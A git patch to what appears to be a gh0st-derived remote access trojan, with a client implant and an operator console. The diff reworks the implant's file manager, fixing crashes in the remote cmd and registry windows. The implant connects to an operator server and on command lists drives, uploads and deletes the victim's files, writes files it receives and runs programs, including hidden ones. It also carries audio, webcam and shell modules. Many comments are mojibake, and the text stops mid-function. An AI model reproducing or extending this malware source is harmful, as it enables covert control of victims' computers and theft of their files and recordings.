From 681ab9bd82fd3a48d730c0fce6261083dfc1c683 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 12 Jan 2019 18:21:42 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=B3=A8=E5=86=8C=E8=A1=A8?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E7=AA=97=E5=8F=A3=E5=85=B3=E9=97=AD=E6=97=B6?= =?UTF-8?q?=E5=B4=A9=E6=BA=83=E7=9A=84=E7=BC=BA=E9=99=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。 --- ReadMe.txt | 9 + client/Audio.cpp | 1 + client/AudioManager.cpp | 2 + client/CaptureVideo.cpp | 11 +- client/CaptureVideo.h | 3 +- client/Common.cpp | 7 +- client/FileManager.cpp | 1027 ++++++++++++++++---------- client/FileManager.h | 68 +- client/IOCPClient.cpp | 5 +- client/IOCPClient.h | 2 +- client/KernelManager.cpp | 31 +- client/KernelManager.h | 3 +- client/Manager.cpp | 11 + client/Script.rc | 2 - client/ShellManager.cpp | 73 +- client/ShellManager.h | 2 +- client/TalkManager.cpp | 4 +- client/ghost.vcxproj.user | 2 +- server/2015Remote/2015Remote.rc | Bin 48116 -> 48128 bytes server/2015Remote/2015Remote.vcxproj | 1 + server/2015Remote/2015RemoteDlg.cpp | 48 +- server/2015Remote/2015RemoteDlg.h | 2 + server/2015Remote/AudioDlg.cpp | 10 +- server/2015Remote/AudioDlg.h | 1 + server/2015Remote/FileManagerDlg.cpp | 86 +-- server/2015Remote/RegisterDlg.cpp | 30 +- server/2015Remote/RegisterDlg.h | 2 + server/2015Remote/ShellDlg.cpp | 22 +- server/2015Remote/SystemDlg.cpp | 6 +- server/2015Remote/gh0st2Remote.h | 4 +- 30 files changed, 913 insertions(+), 562 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index 714f171..026fc6c 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -58,3 +58,12 @@ 1、修复文件管理对话框多次打开崩溃的问题(【遗留问题】)。 2、遗留问题:远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。 + +2019.1.12 + +1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. + +2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。 + +3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题: + 并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。 diff --git a/client/Audio.cpp b/client/Audio.cpp index 93ac906..539127b 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -114,6 +114,7 @@ BOOL CAudio::InitializeWaveIn() //m_hWaveIn ¼ if (mmResult != MMSYSERR_NOERROR) { + CloseHandle(h); return FALSE; } diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 6d43d98..07980ee 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -92,6 +92,8 @@ CAudioManager::~CAudioManager() { m_bIsWorking = FALSE; //趨״̬Ϊ WaitForSingleObject(m_hWorkThread, INFINITE); //ȴ ߳̽ + if (m_hWorkThread) + CloseHandle(m_hWorkThread); if (m_AudioObject!=NULL) { diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp index d484cb1..3cc142e 100644 --- a/client/CaptureVideo.cpp +++ b/client/CaptureVideo.cpp @@ -14,7 +14,6 @@ CCaptureVideo::CCaptureVideo() { if(FAILED(CoInitialize(NULL))) { - return; } m_pCapture = NULL; @@ -128,9 +127,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) HRESULT CCaptureVideo::InitCaptureGraphBuilder() { - HRESULT hResult; - - hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC, + HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC, IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //ʵ豸 if (FAILED(hResult)) @@ -146,7 +143,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder() return hResult; } //˰󶨵ʵ豸 - m_pCapture->SetFiltergraph(m_pGB); hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC); if (FAILED(hResult)) @@ -154,7 +150,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder() return hResult; } - //??? hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW); if (FAILED(hResult)) { @@ -253,7 +248,7 @@ void CCaptureVideo::ResizeVideoWindow() void CCaptureVideo::SendEnd() //ͽ ÿȡ { - InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭԷ //ԭԼ copy + InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); } LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) @@ -263,7 +258,7 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) { if (mCB.bStact==CMD_CAN_SEND) //ıһ·͵״̬ { - szBuffer = mCB.GetNextScreen(dwSize); //ͨһijԱõƵݣǼ + szBuffer = mCB.GetNextScreen(dwSize);//ͨһijԱõƵݣǼ } } while (szBuffer==NULL); diff --git a/client/CaptureVideo.h b/client/CaptureVideo.h index 6c9a166..5a3750a 100644 --- a/client/CaptureVideo.h +++ b/client/CaptureVideo.h @@ -65,7 +65,7 @@ public: m_ulFullHeight = 0 ; } - LPBITMAPINFO GetBmpInfor() // + LPBITMAPINFO GetBmpInfor() { if (m_BitmapInfor_Full==NULL) //ͷϢ { @@ -113,7 +113,6 @@ public: STDMETHODIMP QueryInterface(REFIID riid, void ** lParam) { - //??? if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){ *lParam = (void *) static_cast ( this ); return NOERROR; diff --git a/client/Common.cpp b/client/Common.cpp index db7d8af..3b76bd1 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -10,6 +10,7 @@ #include "RegisterManager.h" #include "ServicesManager.h" #include "VideoManager.h" +#include "KernelManager.h" extern char g_szServerIP[MAX_PATH]; extern unsigned short g_uPort; @@ -49,13 +50,15 @@ DWORD WINAPI ThreadProc(LPVOID lParam) template DWORD WINAPI LoopManager(LPVOID lParam) { - IOCPClient *ClientObject = (IOCPClient *)lParam; + ThreadInfo *pInfo = (ThreadInfo *)lParam; + IOCPClient *ClientObject = pInfo->p; if (ClientObject->ConnectServer(g_szServerIP,g_uPort)) { Manager m(ClientObject, n); - ClientObject->RunEventLoop(); + ClientObject->RunEventLoop(pInfo->run); } delete ClientObject; + pInfo->p = NULL; return 0; } diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 3d0c278..84498f3 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -2,379 +2,328 @@ // ////////////////////////////////////////////////////////////////////// -#include "stdafx.h" #include "FileManager.h" -#include "Common.h" -#include -#include -using namespace std; + +typedef struct +{ + DWORD dwSizeHigh; + DWORD dwSizeLow; +}FILESIZE; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CFileManager::CFileManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +CFileManager::CFileManager(CClientSocket *pClient, int h):CManager(pClient) { - m_ulTransferMode = TRANSFER_MODE_NORMAL; - - SendDiskDriverList(); -} - - -ULONG CFileManager::SendDiskDriverList() //ñض˵ĴϢ -{ - char szDiskDriverString[0x500] = {0}; - // ǰһֽΪϢͣ52ֽΪ - BYTE szBuffer[0x1000] = {0}; - char szFileSystem[MAX_PATH] = {0}; - char *Travel = NULL; - szBuffer[0] = TOKEN_DRIVE_LIST; // б - GetLogicalDriveStrings(sizeof(szDiskDriverString), szDiskDriverString); - - //Ϣ - //0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F: - //0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\. - - Travel = szDiskDriverString; - - unsigned __int64 ulHardDiskAmount = 0; //HardDisk - unsigned __int64 ulHardDiskFreeSpace = 0; - unsigned long ulHardDiskAmountMB = 0; // ܴС - unsigned long ulHardDiskFreeMB = 0; // ʣռ - - //Ϣ - //0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F: - //0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\. \0 - - //עdwOffsetܴ0 Ϊ0λ洢Ϣ - DWORD dwOffset = 1; - for (; *Travel != '\0'; Travel += lstrlen(Travel) + 1) //+1Ϊ˹\0 - { - memset(szFileSystem, 0, sizeof(szFileSystem)); - - // õļϵͳϢС - GetVolumeInformation(Travel, NULL, 0, NULL, NULL, NULL, szFileSystem, MAX_PATH); - ULONG ulFileSystemLength = lstrlen(szFileSystem) + 1; - - SHFILEINFO sfi; - SHGetFileInfo(Travel,FILE_ATTRIBUTE_NORMAL,&sfi, - sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); - - ULONG ulDiskTypeNameLength = lstrlen(sfi.szTypeName) + 1; - - // ̴С - if (Travel[0] != 'A' && Travel[0] != 'B' - && GetDiskFreeSpaceEx(Travel, (PULARGE_INTEGER)&ulHardDiskFreeSpace, - (PULARGE_INTEGER)&ulHardDiskAmount, NULL)) - { - ulHardDiskAmountMB = ulHardDiskAmount / 1024 / 1024; //ֽҪתG - ulHardDiskFreeMB = ulHardDiskFreeSpace / 1024 / 1024; - } - else - { - ulHardDiskAmountMB = 0; - ulHardDiskFreeMB = 0; - } - // ʼֵ - szBuffer[dwOffset] = Travel[0]; //̷ - szBuffer[dwOffset + 1] = GetDriveType(Travel); // - - // ̿ռռȥ8ֽ - memcpy(szBuffer + dwOffset + 2, &ulHardDiskAmountMB, sizeof(unsigned long)); - memcpy(szBuffer + dwOffset + 6, &ulHardDiskFreeMB, sizeof(unsigned long)); - - // ̾ - memcpy(szBuffer + dwOffset + 10, sfi.szTypeName, ulDiskTypeNameLength); - memcpy(szBuffer + dwOffset + 10 + ulDiskTypeNameLength, szFileSystem, - ulFileSystemLength); - - dwOffset += 10 + ulDiskTypeNameLength + ulFileSystemLength; - } - - return m_ClientObject->OnServerSending((char*)szBuffer, dwOffset); + m_nTransferMode = TRANSFER_MODE_NORMAL; + // б, ʼļ߳ + SendDriveList(); } CFileManager::~CFileManager() { - cout<<"Զļ\n"; + m_UploadList.clear(); } -VOID CFileManager::OnReceive(PBYTE szBuffer, ULONG ulLength) +void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { - switch(szBuffer[0]) + switch (lpBuffer[0]) { - case COMMAND_LIST_FILES: - { - SendFilesList((char*)szBuffer + 1); //һֽϢ · - break; - } - - case COMMAND_FILE_SIZE: - { - CreateClientRecvFile(szBuffer + 1); - break; - } - - case COMMAND_FILE_DATA: - { - WriteClientRecvFile(szBuffer + 1, ulLength-1); - break; - } - case COMMAND_SET_TRANSFER_MODE: - { - SetTransferMode(szBuffer + 1); - break; - } - - case COMMAND_OPEN_FILE_SHOW: - { - ShellExecute(NULL, "open", (char*)(szBuffer + 1), NULL, NULL, SW_SHOW); //CreateProcess - break; - } - + case COMMAND_LIST_FILES:// ȡļб + SendFilesList((char *)lpBuffer + 1); + break; + case COMMAND_DELETE_FILE:// ɾļ + DeleteFile((char *)lpBuffer + 1); + SendToken(TOKEN_DELETE_FINISH); + break; + case COMMAND_DELETE_DIRECTORY:// ɾļ + DeleteDirectory((char *)lpBuffer + 1); + SendToken(TOKEN_DELETE_FINISH); + break; + case COMMAND_DOWN_FILES: // ϴļ + UploadToRemote(lpBuffer + 1); + break; + case COMMAND_CONTINUE: // ϴļ + SendFileData(lpBuffer + 1); + break; + case COMMAND_CREATE_FOLDER: + CreateFolder(lpBuffer + 1); + break; case COMMAND_RENAME_FILE: - { - szBuffer+=1; - char* szExistingFileFullPath = NULL; - char* szNewFileFullPath = NULL; - szNewFileFullPath = szExistingFileFullPath = (char*)szBuffer; - - szNewFileFullPath += strlen((char*)szNewFileFullPath)+1; - - Rename(szExistingFileFullPath,szNewFileFullPath); - - break; - } + Rename(lpBuffer + 1); + break; + case COMMAND_STOP: + StopTransfer(); + break; + case COMMAND_SET_TRANSFER_MODE: + SetTransferMode(lpBuffer + 1); + break; + case COMMAND_FILE_SIZE: + CreateLocalRecvFile(lpBuffer + 1); + break; + case COMMAND_FILE_DATA: + WriteLocalRecvFile(lpBuffer + 1, nSize -1); + break; + case COMMAND_OPEN_FILE_SHOW: + OpenFile((char *)lpBuffer + 1, SW_SHOW); + break; + case COMMAND_OPEN_FILE_HIDE: + OpenFile((char *)lpBuffer + 1, SW_HIDE); + break; + default: + break; } } -//dkfj C:\1.txt\0 D:\3.txt\0 -VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath) + +bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) { - MoveFile(szExistingFileFullPath, szNewFileFullPath); + LPTSTR p, pszDirCopy; + DWORD dwAttributes; + + // Make a copy of the string for editing. + + __try + { + pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1)); + + if(pszDirCopy == NULL) + return FALSE; + + lstrcpy(pszDirCopy, pszDirPath); + + p = pszDirCopy; + + // If the second character in the path is "\", then this is a UNC + // path, and we should skip forward until we reach the 2nd \ in the path. + + if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\'))) + { + p++; // Skip over the first \ in the name. + p++; // Skip over the second \ in the name. + + // Skip until we hit the first "\" (\\Server\). + + while(*p && *p != TEXT('\\')) + { + p = CharNext(p); + } + + // Advance over it. + + if(*p) + { + p++; + } + + // Skip until we hit the second "\" (\\Server\Share\). + + while(*p && *p != TEXT('\\')) + { + p = CharNext(p); + } + + // Advance over it also. + + if(*p) + { + p++; + } + } + else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's : + { + p++; + p++; + + // If it exists, skip over the root specifier + + if(*p && (*p == TEXT('\\'))) + { + p++; + } + } + + while(*p) + { + if(*p == TEXT('\\')) + { + *p = TEXT('\0'); + dwAttributes = GetFileAttributes(pszDirCopy); + + // Nothing exists with this name. Try to make the directory name and error if unable to. + if(dwAttributes == 0xffffffff) + { + if(!CreateDirectory(pszDirCopy, NULL)) + { + if(GetLastError() != ERROR_ALREADY_EXISTS) + { + free(pszDirCopy); + return FALSE; + } + } + } + else + { + if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) + { + // Something exists with this name, but it's not a directory... Error + free(pszDirCopy); + return FALSE; + } + } + + *p = TEXT('\\'); + } + + p = CharNext(p); + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + free(pszDirCopy); + return FALSE; + } + + free(pszDirCopy); + return TRUE; } - -VOID CFileManager::SetTransferMode(LPBYTE szBuffer) +bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) { - memcpy(&m_ulTransferMode, szBuffer, sizeof(m_ulTransferMode)); - GetFileData(); -} - -//ļС -VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer) -{ - // //[Flag 0001 0001 E:\1.txt\0 ] - FILE_SIZE* FileSize = (FILE_SIZE*)szBuffer; - // 浱ǰڲļ - memset(m_szOperatingFileName, 0, - sizeof(m_szOperatingFileName)); - strcpy(m_szOperatingFileName, (char *)szBuffer + 8); //ѾԽϢͷ - - // ļ - m_OperatingFileLength = - (FileSize->dwSizeHigh * (MAXDWORD + 1)) + FileSize->dwSizeLow; - - // Ŀ¼ - MakeSureDirectoryPathExists(m_szOperatingFileName); - - WIN32_FIND_DATA wfa; - HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa); - - //1 2 3 1 2 3 - if (hFind != INVALID_HANDLE_VALUE - && m_ulTransferMode != TRANSFER_MODE_OVERWRITE_ALL - && m_ulTransferMode != TRANSFER_MODE_JUMP_ALL - ) + char lpSubKey[500]; + HKEY hKey; + char strTemp[MAX_PATH]; + LONG nSize = sizeof(strTemp); + char *lpstrCat = NULL; + memset(strTemp, 0, sizeof(strTemp)); + + const char *lpExt = strrchr(lpFile, '.'); + if (!lpExt) + return false; + + if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) + return false; + RegQueryValue(hKey, NULL, strTemp, &nSize); + RegCloseKey(hKey); + memset(lpSubKey, 0, sizeof(lpSubKey)); + wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp); + + if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) + return false; + memset(strTemp, 0, sizeof(strTemp)); + nSize = sizeof(strTemp); + RegQueryValue(hKey, NULL, strTemp, &nSize); + RegCloseKey(hKey); + + lpstrCat = strstr(strTemp, "\"%1"); + if (lpstrCat == NULL) + lpstrCat = strstr(strTemp, "%1"); + + if (lpstrCat == NULL) { - BYTE bToken[1]; - bToken[0] = TOKEN_GET_TRANSFER_MODE; - m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken)); + lstrcat(strTemp, " "); + lstrcat(strTemp, lpFile); } else - { - GetFileData(); //ûͬļͻִе - } - FindClose(hFind); + lstrcpy(lpstrCat, lpFile); + + STARTUPINFO si = {0}; + PROCESS_INFORMATION pi; + si.cb = sizeof si; + if (nShowCmd != SW_HIDE) + si.lpDesktop = "WinSta0\\Default"; + + CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi); + return true; } -VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength) +UINT CFileManager::SendDriveList() { - BYTE *Travel; - DWORD dwNumberOfBytesToWrite = 0; - DWORD dwNumberOfBytesWirte = 0; - int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 - FILE_SIZE *FileSize; - // õݵƫ - Travel = szBuffer + 8; + char DriveString[256]; + // ǰһֽΪƣ52ֽΪ + BYTE DriveList[1024]; + char FileSystem[MAX_PATH]; + char *pDrive = NULL; + DriveList[0] = TOKEN_DRIVE_LIST; // б + GetLogicalDriveStrings(sizeof(DriveString), DriveString); + pDrive = DriveString; - FileSize = (FILE_SIZE *)szBuffer; + unsigned __int64 HDAmount = 0; + unsigned __int64 HDFreeSpace = 0; + unsigned long AmntMB = 0; // ܴС + unsigned long FreeMB = 0; // ʣռ - // õļеƫ + DWORD dwOffset = 1; + for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) + { + memset(FileSystem, 0, sizeof(FileSystem)); + // õļϵͳϢС + GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); + SHFILEINFO sfi; + SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + + int nTypeNameLen = lstrlen(sfi.szTypeName) + 1; + int nFileSystemLen = lstrlen(FileSystem) + 1; + + // ̴С + if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) + { + AmntMB = HDAmount / 1024 / 1024; + FreeMB = HDFreeSpace / 1024 / 1024; + } + else + { + AmntMB = 0; + FreeMB = 0; + } + // ʼֵ + DriveList[dwOffset] = pDrive[0]; + DriveList[dwOffset + 1] = GetDriveType(pDrive); + + // ̿ռռȥ8ֽ + memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long)); + memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long)); + + // ̾ + memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen); + memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen); + + dwOffset += 10 + nTypeNameLen + nFileSystemLen; + } - LONG dwOffsetHigh = FileSize->dwSizeHigh; - LONG dwOffsetLow = FileSize->dwSizeLow; - - dwNumberOfBytesToWrite = ulLength - 8; - - HANDLE hFile = - CreateFile - ( - m_szOperatingFileName, - GENERIC_WRITE, - FILE_SHARE_WRITE, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - 0 - ); - - SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); - - int iRet = 0; - // дļ - iRet = WriteFile - ( - hFile, - Travel, - dwNumberOfBytesToWrite, - &dwNumberOfBytesWirte, - NULL - ); - - CloseHandle(hFile); - BYTE bToken[9]; - bToken[0] = TOKEN_DATA_CONTINUE;//TOKEN_DATA_CONTINUE - dwOffsetLow += dwNumberOfBytesWirte; // - memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); - memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken)); + return Send((LPBYTE)DriveList, dwOffset); } -BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath) -{ - char* szTravel = NULL; - char* szBuffer = NULL; - DWORD dwAttributes; - __try - { - szBuffer = (char*)malloc(sizeof(char)*(strlen(szDirectoryFullPath) + 1)); - - if(szBuffer == NULL) - { - return FALSE; - } - - strcpy(szBuffer, szDirectoryFullPath); - - szTravel = szBuffer; - - if (0) - { - } - else if(*(szTravel+1) == ':') - { - szTravel++; - szTravel++; - if(*szTravel && (*szTravel == '\\')) - { - szTravel++; - } - } - - while(*szTravel) //\Hello\World\Shit\0 - { - if(*szTravel == '\\') - { - *szTravel = '\0'; - dwAttributes = GetFileAttributes(szBuffer); //鿴ǷǷĿ¼ Ŀ¼ - if(dwAttributes == 0xffffffff) - { - if(!CreateDirectory(szBuffer, NULL)) - { - if(GetLastError() != ERROR_ALREADY_EXISTS) - { - free(szBuffer); - return FALSE; - } - } - } - else - { - if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) - { - free(szBuffer); - szBuffer = NULL; - return FALSE; - } - } - - *szTravel = '\\'; - } - - szTravel = CharNext(szTravel); - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - if (szBuffer!=NULL) - { - free(szBuffer); - - szBuffer = NULL; - } - - return FALSE; - } - - if (szBuffer!=NULL) - { - free(szBuffer); - szBuffer = NULL; - } - return TRUE; -} - -ULONG CFileManager::SendFilesList(char* szDirectoryPath) +UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) { // ô䷽ʽ - m_ulTransferMode = TRANSFER_MODE_NORMAL; - ULONG ulRet = 0; + m_nTransferMode = TRANSFER_MODE_NORMAL; + + UINT nRet = 0; + char strPath[MAX_PATH]; + char *pszFileName = NULL; + LPBYTE lpList = NULL; + HANDLE hFile; DWORD dwOffset = 0; // λָ - - char *szBuffer = NULL; - ULONG ulLength = 1024 * 10; // ȷ10KĻ - - szBuffer = (char*)LocalAlloc(LPTR, ulLength); - if (szBuffer==NULL) - { - return 0; - } - - char szDirectoryFullPath[MAX_PATH]; - - wsprintf(szDirectoryFullPath, "%s\\*.*", szDirectoryPath); - - HANDLE hFile = INVALID_HANDLE_VALUE; - WIN32_FIND_DATA wfd; - hFile = FindFirstFile(szDirectoryFullPath, &wfd); + int nLen = 0; + DWORD nBufferSize = 1024 * 10; // ȷ10KĻ + WIN32_FIND_DATA FindFileData; + + lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize); + + wsprintf(strPath, "%s\\*.*", lpszDirectory); + hFile = FindFirstFile(strPath, &FindFileData); if (hFile == INVALID_HANDLE_VALUE) { BYTE bToken = TOKEN_FILE_LIST; - - if (szBuffer!=NULL) - { - - LocalFree(szBuffer); - szBuffer = NULL; - } - return m_ClientObject->OnServerSending((char*)&bToken, 1); //· + return Send(&bToken, 1); } - - szBuffer[0] = TOKEN_FILE_LIST; - + + *lpList = TOKEN_FILE_LIST; + // 1 Ϊݰͷռֽ,ֵ dwOffset = 1; /* @@ -385,113 +334,441 @@ ULONG CFileManager::SendFilesList(char* szDirectoryPath) do { // ̬չ - if (dwOffset > (ulLength - MAX_PATH * 2)) + if (dwOffset > (nBufferSize - MAX_PATH * 2)) { - ulLength += MAX_PATH * 2; - szBuffer = (char*)LocalReAlloc(szBuffer, - ulLength, LMEM_ZEROINIT|LMEM_MOVEABLE); + nBufferSize += MAX_PATH * 2; + lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE); } - char* szFileName = wfd.cFileName; - if (strcmp(szFileName, ".") == 0 || strcmp(szFileName, "..") == 0) + pszFileName = FindFileData.cFileName; + if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0) continue; // ļ 1 ֽ - - //[Flag 1 HelloWorld\0С С ʱ ʱ - // 0 1.txt\0 С С ʱ ʱ] - *(szBuffer + dwOffset) = wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY; + *(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY; dwOffset++; // ļ lstrlen(pszFileName) + 1 ֽ - ULONG ulFileNameLength = strlen(szFileName); - memcpy(szBuffer + dwOffset, szFileName, ulFileNameLength); - dwOffset += ulFileNameLength; - *(szBuffer + dwOffset) = 0; + nLen = lstrlen(pszFileName); + memcpy(lpList + dwOffset, pszFileName, nLen); + dwOffset += nLen; + *(lpList + dwOffset) = 0; dwOffset++; - + // ļС 8 ֽ - memcpy(szBuffer + dwOffset, &wfd.nFileSizeHigh, sizeof(DWORD)); - memcpy(szBuffer + dwOffset + 4, &wfd.nFileSizeLow, sizeof(DWORD)); + memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD)); + memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD)); dwOffset += 8; // ʱ 8 ֽ - memcpy(szBuffer + dwOffset, &wfd.ftLastWriteTime, sizeof(FILETIME)); + memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME)); dwOffset += 8; - } while(FindNextFile(hFile, &wfd)); + } while(FindNextFile(hFile, &FindFileData)); - ulRet = m_ClientObject->OnServerSending(szBuffer, dwOffset); + nRet = Send(lpList, dwOffset); - LocalFree(szBuffer); + LocalFree(lpList); FindClose(hFile); - return ulRet; + return nRet; } -VOID CFileManager::GetFileData() + +bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory) +{ + WIN32_FIND_DATA wfd; + char lpszFilter[MAX_PATH]; + + wsprintf(lpszFilter, "%s\\*.*", lpszDirectory); + + HANDLE hFind = FindFirstFile(lpszFilter, &wfd); + if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + return FALSE; + + do + { + if (wfd.cFileName[0] != '.') + { + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + char strDirectory[MAX_PATH]; + wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName); + DeleteDirectory(strDirectory); + } + else + { + char strFile[MAX_PATH]; + wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName); + DeleteFile(strFile); + } + } + } while (FindNextFile(hFind, &wfd)); + + FindClose(hFind); // رղҾ + + if(!RemoveDirectory(lpszDirectory)) + { + return FALSE; + } + return true; +} + +UINT CFileManager::SendFileSize(LPCTSTR lpszFileName) +{ + UINT nRet = 0; + DWORD dwSizeHigh; + DWORD dwSizeLow; + // 1 ֽtoken, 8ֽڴС, ļ, '\0' + HANDLE hFile; + // 浱ǰڲļ + memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); + strcpy(m_strCurrentProcessFileName, lpszFileName); + + hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (hFile == INVALID_HANDLE_VALUE) + return FALSE; + dwSizeLow = GetFileSize(hFile, &dwSizeHigh); + CloseHandle(hFile); + // ݰļ + int nPacketSize = lstrlen(lpszFileName) + 10; + BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); + memset(bPacket, 0, nPacketSize); + + bPacket[0] = TOKEN_FILE_SIZE; + FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1); + pFileSize->dwSizeHigh = dwSizeHigh; + pFileSize->dwSizeLow = dwSizeLow; + memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1); + + nRet = Send(bPacket, nPacketSize); + LocalFree(bPacket); + return nRet; +} + +UINT CFileManager::SendFileData(LPBYTE lpBuffer) +{ + UINT nRet; + FILESIZE *pFileSize; + char *lpFileName; + + pFileSize = (FILESIZE *)lpBuffer; + lpFileName = m_strCurrentProcessFileName; + + // Զһ + if (pFileSize->dwSizeLow == -1) + { + UploadNext(); + return 0; + } + HANDLE hFile; + hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (hFile == INVALID_HANDLE_VALUE) + return -1; + + SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN); + + int nHeadLength = 9; // 1 + 4 + 4ݰͷС + DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; + DWORD nNumberOfBytesRead = 